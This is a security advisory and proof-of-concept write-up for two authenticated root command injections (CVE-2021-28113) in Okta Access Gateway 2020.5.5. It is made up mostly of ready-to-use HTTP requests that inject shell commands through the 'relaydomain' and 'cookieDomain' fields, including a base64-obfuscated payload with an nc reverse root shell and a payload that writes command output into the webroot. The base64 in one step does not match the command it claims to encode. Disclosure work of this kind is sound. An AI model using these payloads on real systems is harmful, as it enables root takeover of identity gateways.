Okta Access Gateway 2020.5.5 Authenticated Remote Root

`Okta Access Gateway v2020.5.5 Post-Auth Remote Root RCE  
  
CVE-2021-28113  
  
=======  
Details  
=======  
  
There are two command injection bugs can that be triggered after authenticating to the web UI.  
Since the injection occurs when a script is executed with sudo, the commands are ran with root  
privileges.  
  
BUG #1 - relay  
  
Command injection as root in Applications via the 'relaydomain' field when passing  
parameters to generateCert.sh. This is blind injection, so without monitoring logs or  
local execution instrumentation, the output will not simply returned in the response.  
  
Also, the included 'nc' binary that the system image includes has the -e flag available  
which enables an exploitation easier via connect back shell.  
  
[Request]  
  
POST /api/v1/app/idp/[valid-IDP] HTTP/1.1  
Host: gw-admin.domain.tld  
Content-Type: application/json;charset=utf-8  
X-CSRF-TOKEN: [placeholder]  
Content-Length: 134  
Cookie: CSRF-TOKEN=[placeholder]; JSESSIONID=[placeholder]; SessionCookie=[placeholder]  
  
{"settings":  
{"label":"test",  
"type":"CERTHEADER2015_APP",  
"relaydomain":"..$(whoami)", <-- HERE  
"groups":[],  
"handlers":{}}  
,"policies":[{}]}  
  
[Response /w local instrumentation for monitoring]  
  
pid=23033 executed [/bin/bash /opt/oag/bin/generateCert.sh -w -d .root ]  
  
[Quick testing]  
  
"relaydomain":"..$(reboot)"  
  
and the system should reboot.  
  
[Exploitation for reverse shell]  
  
Note: for some bizzare reason, this payload worked for a period of time during testing, but was not generally reproducible afterwards.  
  
1) generate base64 for the connect back command to be executed  
  
$ echo -n "nc 10.0.0.111 5000 -e /bin/bash" | base64  
bmMgMTAuMTAuMTAuMTc5IDU1NTUgLWUgL2Jpbi9iYXNo  
  
2) start a listener  
  
$ nc -l -p 5000  
...  
  
3) make the request with the payload (.. is required due to how it parses domains)  
  
..$(echo${IFS}'bmMgMTAuMC4wLjExMSA1MDAwIC1lIC9iaW4vYmFzaA=='>test;$(base64${IFS}-d${IFS}test))  
  
4) get a root shell from the server  
  
* connection from 10.0.0.77 *  
python -c 'import pty; pty.spawn("/bin/bash")'  
  
[0] [email protected];/root#  
  
BUG #2 - cookie  
  
Command injection as root in Identity Providers via the 'cookieDomain' field when passing  
parameters to generateCert.sh.  
  
[Request]  
  
POST /api/v1/setting/idp/local HTTP/1.1  
Host: gw-admin.domain.tld  
Content-Type: application/json;charset=utf-8  
X-CSRF-TOKEN: [placeholder]  
Content-Length: 222  
Cookie: CSRF-TOKEN=[placeholder]; JSESSIONID=[placeholder]; SessionCookie=[placeholder]  
  
{"subCategory":  
"IDP_SAML_LOCAL",  
"json":{  
"name":"Local OAG IDP",  
"host":"https://google.com",  
"cookieDomain":"$(uname${IFS}-n)", <-- HERE  
"nameIDFormat":"urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified",  
"metadata":{}},  
"$edit":true}  
  
[Response /w local instrumentation for monitoring]  
  
pid=22822 executed [/bin/bash /opt/oag/bin/generateCert.sh -w -d Linux oag 3.10.0-957.27.2.el7.x86_64  
#1 SMP Mon Jul 29 17:46:05 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux uid=0(root) gid=0(root) groups=0(root) ]  
  
[Quick testing]  
  
"cookieDomain":"$(reboot)"  
  
and the system should reboot.  
  
[Exploitation for executing commands with output in the webroot]  
  
Same note as the previous one; for some reason, this payload worked for a period of time during testing, but then stopped fully working (the bug was still there just less exploitable).  
  
1) generate base64 for "ls -al /root" to be written to a location accessible via web request  
  
$ echo -n "script -q -c ls\$IFS-al\$IFS/root /opt/oag/simpleSAMLphp/www/test.php" | base64 -w0  
c2NyaXB0IC1xIC1jIGxzJElGUy1hbCRJRlMvcm9vdCAvb3B0L29hZy9zaW1wbGVTQU1McGhwL3d3dy90ZXN0LnBocA==  
  
2) make the request with the payload  
  
$(echo${IFS}'c2NyaXB0IC1xIC1jIGxzJElGUy1hbCRJRlMvcm9vdCAvb3B0L29hZy9zaW1wbGVTQU1McGhwL3d3dy90ZXN0LnBocA=='>test;$(base64${IFS}-d${IFS}test))  
  
3) check https://gw-admin.domain.tld/auth/test.php for the output of the command  
  
===  
Fix  
===  
  
The cookie bug was a "known issue" and fixed in v2020.9.3 and the relay bug was also fixed and no longer works on the latest v2021.2.1.  
  
https://www.okta.com/security-advisories/cve-2021-28113/  
`